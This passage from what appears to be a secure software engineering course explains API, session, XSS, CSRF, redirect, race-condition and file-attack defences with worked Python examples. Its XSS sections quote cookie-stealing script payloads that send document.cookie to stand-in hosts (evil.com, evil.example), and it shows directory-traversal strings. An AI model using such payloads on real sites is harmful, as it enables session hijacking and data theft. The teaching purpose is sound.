Points to notice: the 401 and 403 cases are kept separate (authentication versus authorisation); the token comparison uses hmac.compare_digest; the handler rejects oversized and malformed input before using it; the mark is checked to be a real integer (and not a boolean, which Python treats as a number); and the error messages reveal nothing about how tokens are stored. In a real system, tokens would be random, expire quickly and be stored hashed, not kept in a dictionary in the source code as in this teaching example.
Worked example: rate limiting
Rate limiting restricts how often one client can call the API. It slows password guessing, scraping and resource-exhaustion attacks. This version keeps the times of each client's recent requests and allows at most three in any 60 seconds. Time is passed in as a number so the behaviour can be tested exactly.
class RateLimiter:
"""Allow at most `limit` requests per client in any `window` seconds."""
def __init__(self, limit, window):
self.limit = limit
self.window = window
self.history = {} # client -> list of request times
def allow(self, client, now):
recent = [t for t in self.history.get(client, []) if now - t < self.window]
if len(recent) >= self.limit:
self.history[client] = recent
retry_after = self.window - (now - recent[0])
return False, round(retry_after)
recent.append(now)
self.history[client] = recent
return True, 0
limiter = RateLimiter(limit=3, window=60)
for second in (0, 5, 10, 15, 20, 61, 62):
ok, wait = limiter.allow("203.0.113.9", second)
if ok:
print(f"t={second:>2}s 200 OK")
else:
print(f"t={second:>2}s 429 Too Many Requests (Retry-After: {wait}s)")
print("other client:", limiter.allow("198.51.100.4", 20))
t= 0s 200 OK
t= 5s 200 OK
t=10s 200 OK
t=15s 429 Too Many Requests (Retry-After: 45s)
t=20s 429 Too Many Requests (Retry-After: 40s)
t=61s 200 OK
t=62s 429 Too Many Requests (Retry-After: 3s)
other client: (True, 0)
The fourth request is refused with a Retry-After value telling a well-behaved client how long to wait, and a different client is unaffected. At second 61 the request from second 0 has aged out of the window, so one more is allowed. Design questions an engineer must answer: what identifies a client (an IP address can be shared by a whole school, so an API key or user ID is often better), where the counts are stored (an in-memory dictionary is lost on restart and is not shared between servers, so real systems use a shared store or an API gateway), and what the limit should be for sensitive routes such as login, which usually need a much stricter limit than a search endpoint.
Other API risks and defences
| Risk | Example | Defence |
|---|---|---|
| Broken object-level authorisation | Changing /api/students/12/marks to /13/ returns another student's marks | Check on every request that this user may access this record |
| Excessive data exposure | The response includes the full database row, including fields the screen never shows | Return only the fields the client needs |
| Mass assignment | A profile update request adds "role": "admin" and the server saves every field it receives | Accept only an allowlist of fields for each action |
| Secrets in URLs | /api/data?key=abc123 ends up in server logs, browser history and referrer headers | Send tokens in the Authorization header |
| Overly open cross-origin access | The API allows every website to call it from a browser | Configure CORS to name the specific sites that need access |
| Forgotten old versions | An old /v1 endpoint without the new checks is still running | Retire old versions; keep an inventory of endpoints |
Efficient Execution for the User
🎯 (SE-12-02, SE-12-07)
📌 Design, develop and implement code considering efficient execution for the user
- memory management
- session management
- exception management
Memory Management
Memory management ensures that the application allocates, uses, and releases memory resources efficiently — preventing memory leaks that degrade performance over time, and preventing memory-based vulnerabilities such as buffer overflows. A memory leak happens when memory the program reserved is never given back after it is finished with, slowly using up all available RAM until the application crashes or the server grinds to a halt. Good resource management means the program always closes what it opens — files, database connections, and network connections — as soon as they are no longer needed. This is critical for both security and performance.
How this looks depends on the language. In C, the programmer reserves and releases memory by hand, so writing past the end of a reserved block (a buffer overflow) or forgetting to release it are the classic bugs. Python manages memory automatically and checks list bounds, so an out-of-range index raises an IndexError instead of overwriting memory. Python programs still "leak" when data stays reachable for no reason, for example a cache that only ever grows, and they can still be knocked over by input of unexpected size. The program below shows an unbounded cache next to a bounded one, and the with statement releasing a file:
import functools
import tempfile
import os
# 1. A "leak" in Python is memory that stays reachable: an unbounded cache grows forever
unbounded = {}
def lookup_leaky(n):
if n not in unbounded:
unbounded[n] = n * n
return unbounded[n]
@functools.lru_cache(maxsize=100) # bounded: the oldest entries are dropped
def lookup_bounded(n):
return n * n
for n in range(10_000):
lookup_leaky(n)
lookup_bounded(n)
print(len(unbounded), lookup_bounded.cache_info().currsize)
# 2. Always release what you open: 'with' closes the file even if an error happens
path = os.path.join(tempfile.gettempdir(), "marks_demo.txt")
with open(path, "w") as f:
f.write("78\n64\n91\n")
with open(path) as f:
total = sum(int(line) for line in f) # reads one line at a time, not the whole file
print(total, f.closed)
os.remove(path)
10000 100
233 True
After 10,000 different lookups the leaky dictionary holds 10,000 entries and would keep growing for as long as the server runs; the lru_cache keeps at most 100. In the second half, with closes the file automatically, even if an error interrupts the loop, and summing line by line means a very large file never has to be held in memory all at once. The last value, True, confirms the file was closed.
Session Management
Session management controls how the server tracks authenticated users across multiple HTTP requests — since HTTP is stateless, each request must carry proof of identity. Insecure session management is consistently listed in the OWASP Top 10 most critical web vulnerabilities. Secure session management practices:
HttpOnly (prevents JavaScript from reading the cookie, blocking XSS-based session theft); Secure (cookie is only sent over HTTPS, never HTTP); SameSite=Strict (prevents the cookie being sent in cross-site requests, blocking CSRF); and a short Max-Age (auto-expire idle sessions).Session management is easiest to understand by building the core of it. The version below (using only the standard library) covers each rule in the list above: an unguessable ID from secrets, both an idle and an absolute time limit, a new ID at login, real invalidation at logout, and the cookie attributes.
import secrets
from http.cookies import SimpleCookie
IDLE_LIMIT = 15 * 60 # seconds of inactivity allowed
ABSOLUTE_LIMIT = 8 * 60 * 60 # no session lives longer than this
sessions = {} # session id -> {"user", "created", "last_seen"}
def new_session(user, now):
sid = secrets.token_urlsafe(32) # unguessable: 256 random bits
sessions[sid] = {"user": user, "created": now, "last_seen": now}
return sid
def login(user, old_sid, now):
sessions.pop(old_sid, None) # discard any pre-login session (stops fixation)
return new_session(user, now) # fresh ID after authentication
def check(sid, now):
s = sessions.get(sid)
if s is None:
return None
if now - s["last_seen"] > IDLE_LIMIT or now - s["created"] > ABSOLUTE_LIMIT:
del sessions[sid] # expired: remove it on the server
return None
s["last_seen"] = now # activity keeps an idle session alive
return s["user"]
def logout(sid):
sessions.pop(sid, None) # invalidate on the server, not just in the browser
def cookie_header(sid):
c = SimpleCookie()
c["sid"] = sid
c["sid"]["httponly"] = True # JavaScript cannot read it
c["sid"]["secure"] = True # HTTPS only
c["sid"]["samesite"] = "Lax" # not sent on most cross-site requests
c["sid"]["max-age"] = IDLE_LIMIT
return c.output(header="Set-Cookie:")
anon = new_session(None, now=0) # visitor arrives, gets an anonymous session
sid = login("ava_n", anon, now=10)
print("ID changed at login:", sid != anon)
print("old ID still valid: ", check(anon, now=11))
print("valid session: ", check(sid, now=20))
print("after 20 min idle: ", check(sid, now=20 + 20 * 60))
sid2 = login("ava_n", None, now=2000)
logout(sid2)
print("after logout: ", check(sid2, now=2001))
print(cookie_header("EXAMPLE").replace("EXAMPLE", "<random id>"))
ID changed at login: True
old ID still valid: None
valid session: ava_n
after 20 min idle: None
after logout: None
Set-Cookie: sid=<random id>; HttpOnly; Max-Age=900; SameSite=Lax; Secure
Read the output against the rules. The ID changes at login, so the pre-login ID (which an attacker may have planted) is dead. The session stays valid while used and is removed after 20 minutes of inactivity. After logout the server has forgotten the ID, so a copied cookie is useless. The Set-Cookie line shows HttpOnly, Secure and SameSite in place. SameSite=Lax is a common choice: Strict is safer against CSRF but means a user who follows a link to the site from an email appears signed out on arrival. In a real application, use your web framework's session support instead of writing this yourself, and check that it is configured with these settings.
Exception Management
Exception management ensures that when unexpected errors occur, the application handles them gracefully — maintaining availability for other users while preventing the exposure of sensitive system information. Unhandled exceptions that crash a web server process take the entire application offline for all users (an availability failure). Unhandled exceptions that display a stack trace to the user reveal the server technology stack, file paths, and code structure to attackers. Best practices: catch specific exception types rather than broad bare except clauses; log the full technical detail internally with a correlation ID; return a user-facing generic error message with the same correlation ID so support staff can look up the internal log; and implement a global exception handler as a last-resort safety net that catches any unhandled exception before it can crash the server process.
The program below shows the pattern. parse_quantity catches only the error it expects and returns a helpful message instead of crashing. main_loop ends with a deliberate catch-all so one bad request (a division by zero on the second item) cannot take down the requests that follow it.
def parse_quantity(text):
try:
quantity = int(text)
except ValueError: # catch the specific error you expect
return None, "Enter a whole number."
if not 1 <= quantity <= 20: # a range check after the type check
return None, "Choose between 1 and 20."
return quantity, ""
for text in ("3", "three", "500"):
print(parse_quantity(text))
# Last-resort handler: nothing unexpected reaches the user or takes the service down
def main_loop(requests):
for r in requests:
try:
print("handled", 100 // r)
except Exception: # deliberate catch-all, but it logs and carries on
print("logged internally; user sees a generic error")
main_loop([5, 0, 20])
(3, '')
(None, 'Enter a whole number.')
(None, 'Choose between 1 and 20.')
handled 20
logged internally; user sees a generic error
handled 5
A finally block, not shown here, runs whether or not an error occurred, and is the place for clean-up such as releasing a lock. In a real handler the catch-all would log the full detail with a correlation ID, as in the defensive input handling section, and show the user only a generic message.
Efficiency and security help each other. Reject invalid or unauthenticated requests early, before doing expensive work such as complex queries. Page large result lists instead of returning everything. Set timeouts on network calls so one slow service cannot tie up every worker. The one deliberate exception is password hashing, which is made slow on purpose so an attacker's guessing is slow too, and is kept off the path of requests that have not been authenticated.
with statement, so it is always closed and does not exhaust resources". Use the three terms precisely: memory management is about allocating and releasing memory, session management is about tracking a signed-in user across requests, and exception management is about handling errors without crashing or leaking detail.Secure User Action Controls
🎯 (SE-12-07, SE-12-08)
📌 Design, develop and implement secure code to minimise vulnerabilities in user action controls
- broken authentication and session management
- cross-site scripting (XSS) and cross-site request forgery (CSRF)
- invalid forwarding and redirecting
- race conditions
HttpOnly, Secure, SameSite session cookies; invalidate server-side session on logout; implement MFA for sensitive operations.<script>document.location='https://evil.com/?c='+document.cookie</script> as a comment. When other users view the page, the script executes in their browser, stealing their session cookies or performing actions on their behalf. Prevention: HTML-encode all user-supplied content before rendering it (convert < to <); implement Content Security Policy (CSP) headers that forbid inline scripts; use modern frameworks (React, Vue) that automatically escape dynamic content.SameSite=Strict cookies to block cross-origin requests from sending cookies at all./login?next=https://evil.com. After login, the application blindly redirects to the attacker's site. The user, trusting that they authenticated on the real site, does not notice the redirect — a phishing vector. Prevention: Never use user-supplied URLs as redirect targets without validation. Maintain a strict allowlist of permitted redirect destinations and reject anything not on the list. Prefer internal relative paths (e.g., /dashboard) over absolute URLs for post-login redirects.Animated diagram
Cross-site request forgery: how a kitten page spends your money
Follow one forged request from a harmless-looking page to the bank, then switch on a defence and watch the attack fail.
What to notice
- The browser attaches a site's cookie to every request to that site, whichever page started it. The cookie alone can't tell a forged request from a real one.
- A CSRF token works because other sites can't read the bank's pages, so a forged request can't include it.
- Modern browsers treat cookies as
SameSite=Laxunless told otherwise, which blocks this image trick. Older browsers, and cookies set toSameSite=None, don't.
Choose a defence with the tabs. Step with ◀ and ▶ (or the arrow keys), play or pause with Space.
Try thisExplain how CSRF differs from XSS. (Hint: in XSS the attacker's script runs on the bank's page; in CSRF the attacker never touches the bank's page at all.)
Animated diagram
A race condition: two withdrawals and one balance
Two requests read, check and write the same balance. Watch what happens when their steps interleave, then add a lock.
What to notice
- The bug is in the gap between reading the balance and writing it back. Each step is correct on its own; the order in which they interleave is what goes wrong.
- A lock (or a database transaction) makes read, check and write one atomic step, so the second request sees the first one's result.
- Race conditions are hard to find in testing because they only happen when the timing lines up, often under heavy load.
Switch between no lock and a lock with the tabs. Step with ◀ and ▶ (or the arrow keys), play or pause with Space.
Try thisExplain why Request B saw $600 in the first run but $100 in the second. What exactly did the lock change?
Broken authentication: lockout and the same message every time
Password hashing (see the security features section) and secure session cookies (see the efficient execution section) are two halves of the fix. The third is to make guessing impractical. This account lockout counts recent failures, refuses further attempts for a period and lets old failures expire:
MAX_FAILURES = 5
LOCK_SECONDS = 15 * 60
failures = {} # username -> (count, time of last failure)
def login_allowed(username, now):
count, last = failures.get(username, (0, 0))
if count >= MAX_FAILURES and now - last < LOCK_SECONDS:
return False # locked: do not even check the password
return True
def record_failure(username, now):
count, last = failures.get(username, (0, 0))
if now - last >= LOCK_SECONDS:
count = 0 # old failures expire
failures[username] = (count + 1, now)
for attempt in range(1, 8):
if login_allowed("ava_n", now=attempt):
record_failure("ava_n", now=attempt)
print("attempt", attempt, "wrong password, failure recorded")
else:
print("attempt", attempt, "account temporarily locked")
print("after 15 minutes:", login_allowed("ava_n", now=7 + LOCK_SECONDS))
attempt 1 wrong password, failure recorded
attempt 2 wrong password, failure recorded
attempt 3 wrong password, failure recorded
attempt 4 wrong password, failure recorded
attempt 5 wrong password, failure recorded
attempt 6 account temporarily locked
attempt 7 account temporarily locked
after 15 minutes: True
Attempts 6 and 7 are refused without even checking the password, and after 15 minutes the account works again. There is a trade-off to evaluate: an attacker can deliberately lock a victim out by failing on purpose (a denial of service against one user). Designers reduce this with a temporary rather than permanent lock, rate limiting by client as well as by account, and multi-factor authentication, which makes password guessing pointless.
Try it
Who is allowed to do what?
Send requests as different users and see 401, 403 and 200 responses and an audit log. Enable JavaScript to use this tool. In short: 401 means the user is not authenticated, 403 means authenticated but not authorised, and the server must check on every request.
Cross-site scripting: vulnerable and fixed
XSS comes in three kinds. In stored XSS the malicious script is saved (in a comment, say) and runs for every visitor. In reflected XSS it is bounced straight back from a link's parameters. In DOM-based XSS the page's own JavaScript writes untrusted data into the page. All three are fixed by the same idea: treat untrusted data as text, never as markup.
import html
def render_comment_unsafe(comment):
# VULNERABLE: user text is placed straight into the page
return "<p class='comment'>" + comment + "</p>"
def render_comment_safe(comment):
# FIXED: encode for HTML so the browser shows the text instead of running it
return "<p class='comment'>" + html.escape(comment) + "</p>"
attack = "<script>fetch('https://evil.example/?c=' + document.cookie)</script>"
print(render_comment_unsafe(attack))
print(render_comment_safe(attack))
print(render_comment_safe("Great class & great teacher!"))
# Defence in depth: a Content-Security-Policy header tells the browser to refuse inline scripts
print("Content-Security-Policy: default-src 'self'; script-src 'self'")
<p class='comment'><script>fetch('https://evil.example/?c=' + document.cookie)</script></p>
<p class='comment'><script>fetch('https://evil.example/?c=' + document.cookie)</script></p>
<p class='comment'>Great class & great teacher!</p>
Content-Security-Policy: default-src 'self'; script-src 'self'
In the vulnerable version the attacker's <script> element reaches the page as real HTML, so each visitor's browser would run it and send their cookie to the attacker's server. In the fixed version html.escape() turns < and > into < and >, so the browser displays the characters instead of running them, and harmless text such as an ampersand comes out correctly. The last line is a Content Security Policy, a second layer that tells the browser to refuse inline scripts and scripts from other origins even if one slips through. A third layer is the HttpOnly cookie flag, which keeps session cookies out of reach of scripts. Web frameworks and template engines escape output by default, so the danger is highest where a developer bypasses that on purpose.
Cross-site request forgery: vulnerable and fixed
The animation above shows the attack. Here is the same flaw and fix in code. The secret is a random token that the server generates for the real form and remembers in the user's session; a page on another site cannot read the bank's form, so it cannot include the token.
import hmac
import secrets
session = {"user": "ava_n", "csrf_token": None} # stored on the server
def show_transfer_form():
session["csrf_token"] = secrets.token_hex(16) # unpredictable, tied to this session
return f'<input type="hidden" name="csrf_token" value="{session["csrf_token"]}">'
def transfer_unsafe(form):
# VULNERABLE: any request that carries the session cookie is trusted
return f"Transferred ${form['amount']} to {form['to']}"
def transfer_safe(form):
sent = form.get("csrf_token", "")
if not hmac.compare_digest(sent.encode(), session["csrf_token"].encode()):
return "403 Forbidden: missing or wrong CSRF token"
return f"Transferred ${form['amount']} to {form['to']}"
form_html = show_transfer_form()
real_token = session["csrf_token"]
forged = {"amount": "500", "to": "attacker"} # sent by a page the attacker controls
print(transfer_unsafe(forged))
print(transfer_safe(forged))
print(transfer_safe({"amount": "20", "to": "canteen", "csrf_token": real_token}))
Transferred $500 to attacker
403 Forbidden: missing or wrong CSRF token
Transferred $20 to canteen
The forged request arrives with the user's valid session, so the vulnerable version obeys it. The fixed version refuses it because the token is missing, and accepts the genuine request that carries the right token. The token check also uses hmac.compare_digest. Two more habits complete the defence: use POST (never GET) for anything that changes data, and set session cookies with SameSite.
| XSS | CSRF | |
|---|---|---|
| What the attacker does | Gets their own script to run on the victim site's page | Tricks the victim's browser into sending a request to the victim site |
| Attacker touches the target's page? | Yes, the script runs inside it | No, it works from a different site |
| What is abused | The user's trust in the site | The site's trust in the user's browser (cookies sent automatically) |
| Main fixes | Output encoding, Content Security Policy, HttpOnly cookies | Anti-CSRF tokens, SameSite cookies, POST for changes |
Invalid forwarding and redirecting: an allowlist of destinations
A login page that sends users to whatever the next parameter says can be turned into a phishing tool: the link looks like the real site, but after sign-in the user lands on the attacker's copy. The fix is to accept only known internal destinations and fall back to a safe default:
from urllib.parse import urlparse
ALLOWED_PATHS = {"/dashboard", "/marks", "/profile"}
def safe_next(target, default="/dashboard"):
parts = urlparse(target)
if parts.scheme or parts.netloc: # an absolute URL or "//evil.example" style link
return default
if parts.path not in ALLOWED_PATHS: # only known internal pages
return default
return parts.path
for target in ("/marks", "https://evil.example/login", "//evil.example", "/admin/delete-all"):
print(f"{target:28} -> {safe_next(target)}")
/marks -> /marks
https://evil.example/login -> /dashboard
//evil.example -> /dashboard
/admin/delete-all -> /dashboard
The check rejects any address with a scheme or a host (including the sneaky //evil.example form that browsers treat as an external link) and anything not on the list, so an unexpected input can only ever produce /dashboard.
Race conditions: make the check and the update one step
The race condition animation shows two withdrawals reading the same balance. The reliable fix is to let the database do the check and the update as a single atomic operation, so there is no gap for a second request to slip through:
import sqlite3
db = sqlite3.connect(":memory:")
db.execute("CREATE TABLE accounts (id INTEGER PRIMARY KEY, balance INTEGER)")
db.execute("INSERT INTO accounts VALUES (1, 600)")
def withdraw(amount):
# One statement checks AND updates, so two requests cannot both pass the check
cur = db.execute("UPDATE accounts SET balance = balance - ? "
"WHERE id = 1 AND balance >= ?", (amount, amount))
db.commit()
return cur.rowcount == 1
print(withdraw(500), withdraw(500))
print(db.execute("SELECT balance FROM accounts").fetchone()[0])
True False
100
The first withdrawal succeeds and the second is refused because the balance is now 100. Because WHERE balance >= ? is part of the same statement as the subtraction, it cannot be interleaved. On a database with concurrent connections, the same principle is applied with transactions and row locks. Inside one Python program, a threading.Lock protects shared variables in the same way, but it does not help when several servers share one database.
SameSite, open redirects by an allowlist, race conditions by atomic operations or locks, broken authentication by hashing, lockout, MFA and secure sessions. Frequent errors are swapping XSS and CSRF, saying "validate the input" as the only fix for every vulnerability, and describing an attack without saying which part of the code allowed it.Try it
Which vulnerability is it?
Practise naming SQL injection, XSS, CSRF, broken authentication, race conditions and invalid redirects. Enable JavaScript to use this tool. In short: look at where input is trusted, where actions happen without a token, and where a check and an update are separate steps.
File and Side Channel Attacks
🎯 (SE-12-07, SE-12-08)
📌 Design, develop and implement secure code to protect user file and hardware vulnerabilities from file attacks and side channel attacks
Protection Against File Attacks
../../etc/passwd to read the server's password file. Prevention: Never construct file paths directly from user input. Resolve the absolute canonical path using os.path.realpath() and verify it begins with the permitted base directory. Reject any path containing .. or null bytes. Store user uploads in a designated, isolated directory with no execute permissions.shell.php renamed as photo.jpg) and then accesses it via URL to execute server-side code. Prevention: Validate the actual file content type (MIME type inspection, not just the filename extension); restrict permitted file types to an explicit allowlist; store uploaded files in cloud object storage (e.g., AWS S3) that does not serve files as executable code; rename uploaded files to random UUIDs, removing any attacker-controlled filename.Protection Against Side Channel Attacks
Side channel attacks exploit information inadvertently leaked through the physical implementation of a system — such as power consumption, electromagnetic emissions, execution timing, or cache access patterns — rather than flaws in the algorithm itself. The attacker does not break the cryptographic algorithm; they observe the system's physical behaviour while it executes to infer secret values.
Timing Attacks
An attacker measures how long a password comparison takes. If the comparison function returns as soon as it finds a mismatch (char by char early exit), comparing a password that starts with the correct characters takes longer than one that fails on the first character — leaking information about the correct value. Prevention: Use constant-time comparison functions (e.g., Python's hmac.compare_digest()) that always take the same time regardless of where the mismatch occurs.
Power Analysis
By measuring the power consumption of a device (e.g., a smart card or IoT chip) while it performs cryptographic operations, an attacker can statistically analyse the power trace to deduce the private key — even without physical access to extract the key directly. Prevention: Hardware-level countermeasures including random delays, power consumption masking, and hardware security modules (HSMs) that isolate cryptographic operations from observable power variations.
Cache Side Channels
Modern CPU caches create timing differences depending on whether data is in cache or must be fetched from RAM. The Spectre and Meltdown vulnerabilities (2018) exploited speculative execution in CPUs to read privileged memory via cache timing. Prevention: Apply OS and processor firmware security patches; use isolation techniques (process/VM separation); where performance permits, flush caches between security-sensitive operations.
Worked example: stopping directory traversal and disguised uploads
The safe way to open a user-named file is to build the full path, let Python resolve every .. and symbolic link, and then check that the result is still inside the permitted folder. Never try to "clean" the string by deleting ..; attackers have many encodings for it.
from pathlib import Path
BASE = Path("/srv/uploads").resolve()
def open_upload(filename):
target = (BASE / filename).resolve() # follows ".." and symbolic links
if not target.is_relative_to(BASE): # Python 3.9 and later
raise PermissionError("path escapes the upload folder")
return target
for name in ("report.pdf", "../../etc/passwd", "/etc/passwd"):
try:
print(name, "->", open_upload(name))
except PermissionError as err:
print(name, "-> blocked:", err)
ALLOWED_TYPES = {".png", ".jpg", ".pdf"}
def is_allowed_upload(filename):
return Path(filename).suffix.lower() in ALLOWED_TYPES
print(is_allowed_upload("photo.jpg"), is_allowed_upload("shell.php"), is_allowed_upload("photo.jpg.php"))
report.pdf -> /srv/uploads/report.pdf
../../etc/passwd -> blocked: path escapes the upload folder
/etc/passwd -> blocked: path escapes the upload folder
True False False
Both the relative attack (../../etc/passwd) and the absolute path are blocked, because after resolving they land outside /srv/uploads. is_relative_to needs Python 3.9 or later. The last line checks the file type against an allowlist using the final extension, so photo.jpg.php is refused. An extension check alone is not enough, since an attacker controls the name; combine it with content inspection, random stored names and a folder that cannot execute files.
Worked example: constant-time comparison
A normal string comparison stops at the first mismatch, so a wrong first character finishes slightly sooner than a wrong last character. Measured over many attempts, that difference can leak a secret one character at a time. hmac.compare_digest takes the same time wherever the values differ.
import hmac
def leaky_equal(a, b):
for x, y in zip(a, b):
if x != y:
return False # returns sooner when the first character is wrong
return len(a) == len(b)
def safe_equal(a, b):
return hmac.compare_digest(a.encode(), b.encode()) # time does not depend on where they differ
print(leaky_equal("s3cret-token", "s3cret-token"), safe_equal("s3cret-token", "s3cret-token"))
print(leaky_equal("s3cret-token", "x3cret-token"), safe_equal("s3cret-token", "x3cret-token"))
True True
False False
Both functions give the same answers; only their timing behaviour differs, which is why a timing attack cannot be seen from the output alone. Use the constant-time version for tokens, password hashes and anything else secret.
Benefits of Collaboration
🎯 (SE-12-01, SE-12-05)
📌 Apply and describe the benefits of collaboration to develop safe and secure software
- considering various points of view
- delegating tasks based on expertise
- quality of the solution
Considering Various Points of View
Security vulnerabilities often arise from blind spots — assumptions that every developer on a team unconsciously shares. Diverse, collaborative teams with members of different backgrounds, experience levels, and technical specialisations surface these blind spots before attackers do. A junior developer may question why a legacy authentication flow uses MD5 hashing (now cryptographically broken), sparking a critical security review that a senior team that has always used it might never initiate. UX designers identify where security mechanisms create friction that users will bypass. Quality assurance engineers approach the system adversarially — trying to break it — revealing edge cases that developers, focused on making features work, did not consider. Security engineers trained in offensive techniques think like attackers, anticipating exploitation paths that application developers are not trained to see. Collaboration across these different perspectives produces a more comprehensively reviewed, higher-confidence security posture than any single expert could achieve alone.
Delegating Tasks Based on Expertise
Secure software development encompasses highly specialised domains that no single developer can master completely. Effective teams delegate responsibilities to members with the specific expertise required. Cryptography implementations (key management, protocol selection, algorithm configuration) are assigned to engineers with dedicated security training — an incorrectly implemented cryptographic protocol may appear to work correctly while providing no actual security. Front-end developers focus on output encoding, Content Security Policy configuration, and XSS prevention in the client-side code they know deeply. Database administrators design the access control and auditing configuration of database servers according to their specialised knowledge of the database engine. Network engineers configure firewalls, TLS termination, and intrusion detection systems. This deliberate delegation ensures each security domain receives the depth of expertise it requires, rather than being shallowly addressed by generalists stretched across every area simultaneously.
Quality of the Solution
Collaborative security practices — particularly peer code review and pair programming — tend to produce higher quality, more secure code than individual development. Peer code review is widely regarded as one of the most cost-effective ways to find defects: catching a vulnerability during code review costs a fraction of fixing it after deployment. When two developers review each other's security-critical code, logical errors, missing edge case handling, and subtle vulnerability patterns that the original author's familiarity blinds them to are caught before they ship. Collaboration also produces better documentation of security decisions — why a particular implementation was chosen over alternatives — reducing the risk that future maintainers unknowingly introduce vulnerabilities by changing security controls they do not understand the purpose of. Teams that practise collaborative security review tend to have fewer critical vulnerabilities reach production.
Collaboration in practice: who does what
The table shows how expertise is delegated on a project such as an online booking system, and what each role contributes to security.
| Role | Security contribution | Point of view they bring |
|---|---|---|
| Application developer | Writes validated, parameterised, encoded code; fixes review findings | How features are built and where shortcuts tempt |
| Security engineer | Leads threat modelling, chooses cryptography and authentication, runs assessments | How an attacker would approach the system |
| Tester or QA | Writes security test cases and misuse tests; retests fixes | What happens when input is wrong, huge or hostile |
| Database administrator | Least-privilege accounts, backups, audit configuration | How data is stored, accessed and recovered |
| UX designer | Designs security steps people can actually follow | Where users will get confused or work around controls |
| Product owner or privacy officer | Decides what data is really needed; checks legal duties | What customers and the law expect |
Collaborative practices that improve the solution
- Peer review through pull requests. A second person reads every change before it is merged, using a checklist (see the code review checklist in the strategies section). Requiring an approval before merging security-critical code makes review a rule, not a favour.
- Pair programming. Two people work at one screen. The "navigator" watches for mistakes as the "driver" types, which catches flaws at the moment they are written.
- Security champions. One developer in each team gets extra security training and acts as the first point of contact, spreading knowledge without needing a large security department.
- Blameless post-incident reviews. After a failure the team asks what in the process allowed it, not who to blame. People then report problems early instead of hiding them.
- Shared documentation. Threat models, decision logs and the process diary record why a control exists, so later maintainers do not remove it.
- Coordinated disclosure. Outsiders who find a flaw need a clear way to report it privately. Many organisations publish a security contact so that a researcher's report reaches the team, and the flaw is fixed before it is made public.
Challenges. Collaboration is not free. Reviews take time, teams can disagree about how much risk is acceptable, and "everyone owns security" can turn into "no-one owns security" unless roles are explicit. Good teams agree who decides, write it down and keep review comments about the code, not the person.
Benefits to an Enterprise
🎯 (SE-12-01, SE-12-05)
📌 Investigate and explain the benefits to an enterprise of the implementation of safe and secure development practices
- improved products or services
- influence on future software development
- improved work practices
- productivity
- business interactivity
Improved Products or Services
Software built with security embedded from the design phase is fundamentally more reliable and trustworthy than software that has security patched on reactively. Secure products experience fewer incidents — zero outages from ransomware, no emergency patches that break existing functionality, no data breach disclosures that destroy user trust. This reliability becomes a genuine product differentiator: enterprise customers conducting vendor due diligence explicitly assess security posture (often requiring SOC 2 Type II certification or ISO 27001 compliance) before signing contracts. A demonstrably secure product wins those procurement decisions. For consumer products, trust built over years of responsible data stewardship creates brand loyalty that is enormously difficult for competitors to erode — while a single major breach can permanently destroy it.
Influence on Future Software Development
Enterprises that develop a culture of secure software engineering accumulate codified security knowledge — documented threat models, established security patterns, reusable security libraries, and tested compliance frameworks — that directly accelerates and improves the security of every subsequent product. The first product built with security by design takes significant investment to establish the patterns; the second product is built on top of proven, battle-tested security infrastructure. Over time, the enterprise develops internal expertise and reputation that attracts security-conscious talent and positions the organisation to participate in industry standards development (e.g., contributing to OWASP, Australian Cyber Security Centre guidance, or NIST frameworks), further enhancing reputation and influence. Security-mature organisations are also better positioned to respond to and shape evolving regulatory requirements — rather than scrambling to comply at the last moment.
Improved Work Practices
The implementation of DevSecOps — integrating security into every stage of the development pipeline — transforms security from a gating checkpoint at the end of the development cycle into a continuous quality feedback mechanism throughout it. Automated SAST scanning in CI/CD pipelines means developers receive security feedback within minutes of committing code, while the context of what they wrote is still fresh in mind — making remediation fast and educational. Security champions programs embed security expertise within development teams rather than siloing it in a separate security department, improving security knowledge across the entire engineering organisation. These practices systematically reduce the volume of security debt accumulated over time, resulting in a healthier, more maintainable codebase that is faster and cheaper to extend.
Productivity
Counter-intuitively, building security in from the start improves long-term development productivity. The cost of fixing a security vulnerability generally rises at each later stage of development: a vulnerability identified by a developer during coding takes minutes to fix; the same vulnerability caught in code review takes hours; caught in testing takes days (including regression testing); caught in production requires an emergency patch, incident response, possible customer notification, regulatory reporting, and forensic investigation — potentially weeks of disrupted work. Teams that invest in shift-left security (catching vulnerabilities earlier in the development cycle) spend a fraction of the total time on security compared to teams that rely on reactive patching. Also, a stable, low-incident production environment means developers spend time building new features rather than responding to security emergencies.
Business Interactivity
Modern enterprises operate through an ecosystem of interconnected systems — sharing data with partners, customers, suppliers, and regulators through APIs and integrations. Secure API design (with authentication, authorisation scopes, input validation, rate limiting, and encryption) enables this business interactivity without exposing corporate systems to the security risks inherent in external connections. An enterprise with a strong security posture can participate in data-sharing partnerships that competitors with weaker security practices are excluded from — particularly in regulated industries such as healthcare (requiring compliance with Australian Digital Health Agency standards), financial services (PCI-DSS, APRA CPS 234), and government contracting (IRAP assessments). Conversely, a publicised breach or regulatory sanction can immediately disqualify an organisation from business-critical partnerships, with devastating commercial consequences.
Compliance, contracts and market access
Security practices increasingly decide which contracts an enterprise can win, and which laws it has to satisfy. Examples an Australian enterprise may face:
- The Privacy Act 1988 and the NDB scheme for personal information, and the Security of Critical Infrastructure Act 2018 for operators of assets such as electricity, water, health and telecommunications, which adds duties such as risk management programs and cyber incident reporting.
- APRA Prudential Standard CPS 234, which sets information security requirements for banks, insurers and superannuation funds regulated by APRA.
- The government's IRAP (Infosec Registered Assessors Program) assessments, used to judge whether cloud services are suitable for government data, and the ASD Essential Eight as a baseline of mitigation strategies.
- Customer due diligence: large customers often ask suppliers to show independent evidence of their security, such as ISO/IEC 27001 certification, before signing.
Some organisations also find that cyber insurers ask about specific controls (multi-factor authentication, tested backups, patching) before offering cover or setting the price, which gives a financial reason to build them.
Measuring the benefit
Managers fund what they can measure. Secure development produces measures a team can track over time, so the benefit can be shown and not just claimed:
| Measure | What it shows | Direction that shows improvement |
|---|---|---|
| Time to fix a critical vulnerability | How responsive the team is | Falls |
| Critical findings per release (from SAST, DAST and review) | How much the design and coding practices are preventing | Falls |
| Share of vulnerabilities found before release rather than in production | How early problems are caught (shift left) | Rises |
| Time to detect and time to recover from an incident | How well monitoring and continuity plans work | Falls |
| Unplanned work caused by security emergencies | Productivity lost to reacting | Falls |
Every organisation should collect its own figures rather than borrow someone else's: published averages differ by year, country and industry and are only a guide.
Social, Ethical and Legal Issues
🎯 (SE-12-05)
📌 Evaluate the social, ethical and legal issues and ramifications that affect people and enterprises resulting from the development and implementation of safe and secure software
- employment
- data security
- privacy
- copyright
